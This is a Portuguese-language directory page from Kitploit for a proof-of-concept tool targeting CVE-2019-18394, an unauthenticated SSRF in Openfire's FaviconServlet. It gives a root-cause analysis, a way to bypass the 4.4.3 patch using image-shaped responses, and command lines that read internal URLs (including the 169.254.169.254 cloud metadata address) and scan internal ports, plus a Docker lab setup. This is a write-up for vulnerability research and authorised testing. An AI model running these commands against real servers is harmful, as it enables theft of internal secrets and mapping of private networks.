Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
openfire-ssrf-cve-2019-18394 — PoC para CVE-2019-18394: SSRF de leitura completa não autenticado no FaviconServlet do Openfire <= 4.4.2 | Kitploit
Ferramentas/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
ReconhecimentoScanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHub

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
l0lsec/openfire-ssrf-cve-2019-18394

openfire-ssrf-cve-2019-18394

PoC para CVE-2019-18394: SSRF de leitura completa não autenticado no FaviconServlet do Openfire <= 4.4.2

Ver Repositório
29há 1 mêsAinda não revisado
Compartilhar

CVE-2019-18394: SSRF no FaviconServlet do Openfire

Server-Side Request Forgery não autenticado no Ignite Realtime Openfire 4.4.2 e anteriores (consola de administração, TCP predefinido 9090/9091). Corrigido na 4.4.3 (issue OF-1885).

  • Falsificação de pedido: o parâmetro host é concatenado num URL de saída sem qualquer validação, pelo que o servidor emite um HTTP GET escolhido pelo atacante.
  • Divulgação de resposta: em HTTP 200 o corpo bruto do upstream é escrito de volta para o chamador. Trata-se de um SSRF de leitura completa, não cego.
  • Sem autenticação: /getFavicon não está atrás do AuthCheckFilter da consola de administração e responde mesmo enquanto o servidor ainda está no seu estado de configuração inicial não configurado.

Apenas para testes autorizados. Tudo aqui visa um laboratório local que você mesmo monta.

Causa raiz

org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):

public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // controlado pelo atacante
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // corpo devolvido ao chamador
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // concatenação não validada
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // corpo completo, não apenas uma imagem
        }
    } ...
}

Não autenticado. Em xmppserver/src/main/webapp/WEB-INF/web.xml o filtro AuthCheck está mapeado apenas para *.jsp, PluginServlet e dwr-invoker. O FaviconServlet está mapeado para o caminho simples /getFavicon, pelo que nenhum filtro de autenticação é executado para ele.

Caminho arbitrário, não apenas host arbitrário. O código fixa o sufixo /favicon.ico. Terminar host com uma query string empurra esse sufixo para o valor de um parâmetro:

host = of_internal/secret?x=    produz    http://of_internal/secret?x=/favicon.ico

O esquema está fixado em http://. Alvos https:// não são diretamente alcançáveis, mas o cliente do servlet usa LaxRedirectStrategy, pelo que um endpoint http que faça um 302-redirect em diante é.

A correção da 4.4.3 e os seus limites

final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // retém corpos que não sejam imagens
}
return result;

GraphicsUtils.isImage() é ImageIO.read(bytes) != null, uma verificação de conteúdo, não de destino. Duas coisas sobrevivem ao patch:

  • O pedido de saída forjado continua a ser enviado, pelo que o SSRF cego (port scan, interação com serviços internos, pivots por redirect) continua a funcionar na 4.4.3.
  • Qualquer resposta que seja interpretada como imagem continua a ser devolvida na íntegra, e bytes arbitrários podem seguir os dados da imagem, pelo que a divulgação de leitura completa em forma de imagem continua a funcionar na 4.4.3.

Oráculo de deteção

  • Todos os resultados são HTTP 200, pelo que sucesso e falha diferem apenas no corpo. A ferramenta captura uma assinatura de falha forçando dois pedidos garantidamente falhados (NXDOMAIN) e comparando-os. O ficheiro em disco /images/server_16x16.gif não é usado como linha de base: um servidor que falhou ao carregá-lo na inicialização devolve antes um corpo de falha vazio, e a incompatibilidade entre os dois dá resultados errados.
  • A presença é confirmada estruturalmente: uma falha responde 200 enquanto um caminho irmão não mapeado responde 404, o que separa um mapeamento real de FaviconServlet de um catch-all.
  • O FaviconServlet faz cache de acertos e falhas com chave no host bruto e faz short-circuit após duas falhas. A ferramenta adiciona um cache-buster cb= único a cada sonda para que execuções repetidas não recebam resultados obsoletos.

Utilização

Biblioteca padrão do Python 3, sem dependências.

check   confirmar o bug: endpoint não autenticado + callback out-of-band + divulgação de resposta
read    obter um URL http:// arbitrário através do alvo (SSRF de leitura completa)
scan    sondar portas TCP internas a partir da posição de rede do alvo
# confirmar. --callback-host é o endereço para o qual o ALVO faz callback (IP ou FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# ler um recurso apenas interno que o testador não consegue alcançar diretamente
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# mapear serviços internos
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

Flags: --callback-host (endereço para o qual o alvo faz callback), --listen-bind / --listen-port (listener local), --marker-format gif (devolver conteúdo interpretável como imagem que passa a verificação isImage() da 4.4.3), --proxy, --json.

Códigos de saída: 0 ok, 1 descoberta, 2 erro ou não vulnerável, 3 inconclusivo.

Laboratório e resultados validados

Configuração Docker diferencial: 4.4.2 vulnerável (consola em :9090), 4.4.3 corrigida (em :9092), e um serviço apenas interno que o host não consegue alcançar diretamente.

docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# nginx interno: sem mapeamento de porta no host, portanto inalcançável a partir do host, alcançável a partir do Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERÁVEL

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # CORRIGIDO

O nginx interno não tem mapeamento de porta no host, pelo que uma obtenção direta a partir do host devolve HTTP 000, mas o Openfire consegue alcançá-lo. Ler o seu SECRET_FLAG prova que o pedido atravessou a fronteira de confiança. No Docker Desktop o alvo alcança o seu listener via host.docker.internal (passe-o a --callback-host). No Docker nativo Linux, use o IP do gateway docker0 ou omita --callback-host para autodetectar.

# assim que ambas as consolas responderem em :9090 e :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

Cada callback chegou com User-Agent: Apache-HttpClient/... (Java/...), confirmando que o pedido veio do próprio cliente HTTP do Openfire, não da ferramenta.

AlvoMarcadorCallbackCorpo divulgadoVeredictoSaída
4.4.2 (vuln)textosimsim, verbatimVULNERABLE (não corrigido)1
4.4.3 (corrigido)textosimnão, retido por isImage()PARTIALLY_MITIGATED (SSRF cego)1
4.4.3 (corrigido)gifsimsim, imagem + texto à caudaVULNERABLE leitura completa (ver nota)1
não-Openfire (nginx)n/an/an/aendpoint ausente2
Baixar ferramenta